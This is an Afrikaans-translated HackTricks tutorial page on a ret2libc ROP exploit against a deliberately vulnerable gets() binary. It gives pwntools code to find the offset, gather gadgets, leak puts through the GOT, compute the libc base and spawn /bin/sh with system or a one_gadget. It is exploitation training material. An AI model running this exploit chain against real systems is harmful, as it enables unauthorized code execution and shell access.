hacktricks/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md
2024-02-11 02:07:06 +00:00

13 KiB

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Vinnige Resensie

  1. Vind oorloop offset
  2. Vind POP_RDI, PUTS_PLT en MAIN_PLT gadgets
  3. Gebruik vorige gadgets om die geheue-adres van puts of 'n ander libc-funksie te lek en die libc-weergawe te vind (aflaai dit)
  4. Met die biblioteek, bereken die ROP en misbruik dit

Ander tutoriale en binaire om te oefen

Hierdie tutorial gaan die kode/binêre lêer wat in hierdie tutorial voorgestel word, uitbuit: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Nog nuttige tutoriale: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Kode

Lêernaam: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector  -no-pie

ROP - Leaking LIBC sjabloon

Ek gaan die kode wat hier geleë is gebruik om die uitbuiting te maak.
Laai die uitbuiting af en plaas dit in dieselfde gids as die kwesbare binêre lêer en gee die nodige data aan die skripsie:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

1- Vind die verskuiwing

Die sjabloon vereis 'n verskuiwing voordat dit voortgaan met die uitbuiting. As daar geen verskuiwing verskaf word nie, sal dit die nodige kode uitvoer om dit te vind (standaard OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Voer python template.py uit, 'n GDB-konsole sal geopen word met die program wat afgekap is. Voer binne daardie GDB-konsole x/wx $rsp uit om die bytes te kry wat die RIP sou oorskryf. Kry uiteindelik die offset deur 'n python-konsole te gebruik:

from pwn import *
cyclic_find(0x6161616b)

Nadat die offset (in hierdie geval 40) gevind is, verander die OFFSET-veranderlike binne die sjabloon met daardie waarde.
OFFSET = "A" * 40

'n Ander manier sou wees om pattern create 1000 te gebruik -- uitvoer tot ret -- pattern search $rsp vanaf GEF.

2- Vind Gadgets

Nou moet ons ROP-gadgets binne die binêre lêer vind. Hierdie ROP-gadgets sal nuttig wees om puts te roep om die libc wat gebruik word, te vind, en later om die finale aanval te lanceer.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

Die PUTS_PLT word benodig om die funksie puts te roep.
Die MAIN_PLT word benodig om die hooffunksie weer te roep na een interaksie om die oorloop weer te uitbuit (oneindige rondes van uitbuiting). Dit word aan die einde van elke ROP gebruik om die program weer te roep.
Die POP_RDI word benodig om 'n parameter aan die geroepte funksie oor te dra.

In hierdie stap hoef jy niks uit te voer nie, aangesien pwntools alles sal vind tydens die uitvoering.

3- Vind LIBC-biblioteek

Nou is dit tyd om uit te vind watter weergawe van die libc-biblioteek gebruik word. Om dit te doen, gaan ons die adres in die geheue van die funksie puts lek en dan gaan ons soek in watter biblioteekweergawe die puts-weergawe in daardie adres is.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Om dit te doen, is die belangrikste lyn van die uitgevoerde kode:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Dit sal 'n paar byte stuur totdat die RIP oorskryf kan word: OFFSET.
Dan sal dit die adres van die gadget POP_RDI stel sodat die volgende adres (FUNC_GOT) in die RDI-register gestoor sal word. Dit is omdat ons die PUTS_GOT-adres as die adres in die geheue van die puts-funksie wil oproep en dit deurgee.
Daarna sal PUTS_PLT geroep word (met PUTS_GOT binne die RDI) sodat puts die inhoud binne PUTS_GOT (die adres van die puts-funksie in die geheue) sal lees en dit sal afdruk.
Uiteindelik word die hooffunksie weer geroep sodat ons die oorloop weer kan uitbuit.

Op hierdie manier het ons die puts-funksie bedrieg om die adres in die geheue van die puts-funksie (wat binne die libc-biblioteek is) af te druk. Nou dat ons daardie adres het, kan ons soek watter libc-weergawe gebruik word.

Aangesien ons 'n plaaslike binêre lêer uitbuit, is dit nie nodig om uit te vind watter weergawe van libc gebruik word nie (vind net die biblioteek in /lib/x86_64-linux-gnu/libc.so.6).
Maar in die geval van 'n afstandsbediening-uitbuiting sal ek hier verduidelik hoe jy dit kan vind:

3.1- Soek na libc-weergawe (1)

Jy kan soek watter biblioteek gebruik word op die webwerf: https://libc.blukat.me/
Dit sal jou ook in staat stel om die ontdekte weergawe van libc af te laai.

3.2- Soek na libc-weergawe (2)

Jy kan ook doen:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

Dit sal 'n rukkie neem, wees geduldig.
Hiervoor benodig ons:

  • Libc-simbolnaam: puts
  • Uitgelek libc-adres: 0x7ff629878690

Ons kan uitvind watter libc waarskynlik gebruik word.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Ons kry 2 ooreenkomste (jy moet die tweede een probeer as die eerste een nie werk nie). Laai die eerste een af:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Kopieer die libc vanaf libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so na ons werksgids.

3.3- Ander funksies om te lek

puts
printf
__libc_start_main
read
gets

4- Vind gebaseerde libc-adres en uitbuiting

Op hierdie punt moet ons die gebruikte libc-biblioteek ken. Aangesien ons 'n plaaslike binêre lêer uitbuit, sal ek net gebruik maak van: /lib/x86_64-linux-gnu/libc.so.6

So, aan die begin van template.py verander die libc veranderlike na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Stel biblioteekpad in wanneer dit bekend is

Deur die pad na die libc-biblioteek te gee, sal die res van die uitbuiting outomaties bereken word.

Binne die get_addr-funksie sal die basisadres van libc bereken word:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

{% hint style="info" %} Let daarop dat die finale libc basisadres moet eindig in 00. As dit nie jou geval is nie, het jy dalk 'n verkeerde biblioteek uitgelek. {% endhint %}

Dan sal die adres van die funksie system en die adres van die string "/bin/sh" bereken word vanaf die basisadres van libc en die libc-biblioteek wat gegee is.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Uiteindelik gaan die /bin/sh uitvoeringsaanval voorberei en gestuur word:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Laten ons hierdie finale ROP verduidelik.
Die laaste ROP (rop1) eindig deur weer die hooffunksie te roep, dan kan ons weer die oorloop uitbuit (daarom is die OFFSET hier weer). Dan wil ons POP_RDI roep wat wys na die adres van "/bin/sh" (BINSH) en die sisteem-funksie (SYSTEM) roep omdat die adres van "/bin/sh" as 'n parameter oorgedra sal word.
Uiteindelik word die adres van die exit-funksie geroep sodat die proses netjies afsluit en geen waarskuwing gegenereer word.

Op hierdie manier sal die uitbuit 'n _/bin/sh_-skulp uitvoer.

4(2)- Gebruik ONE_GADGET

Jy kan ook ONE_GADGET gebruik om 'n skulp te verkry in plaas van sisteem en "/bin/sh" te gebruik. ONE_GADGET sal binne die libc-biblioteek 'n manier vind om 'n skulp te verkry deur net een ROP-adres te gebruik.
Gewoonlik is daar egter beperkings, die mees algemene en maklikste om te vermy is soos [rsp+0x30] == NULL. Aangesien jy die waardes binne die RSP beheer, hoef jy net nog 'n paar NULL-waardes te stuur sodat die beperking vermy word.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

HACKERINGSLEËR

Jy kan 'n sjabloon vind om hierdie kwesbaarheid uit te buit hier:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

Algemene probleme

MAIN_PLT = elf.symbols['main'] nie gevind nie

As die "main" simbool nie bestaan nie. Dan kan jy net kyk waar die hoofkode is:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

en stel die adres handmatig in:

MAIN_PLT = 0x401080

Puts nie gevind nie

As die binêre lêer nie Puts gebruik nie, moet jy nagaan of dit gebruik maak van

sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie

As jy hierdie fout vind nadat jy alle die aanvalle geskep het: sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie

Probeer om 64 byte van die adres van "/bin/sh" af te trek:

BINSH = next(libc.search("/bin/sh")) - 64
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: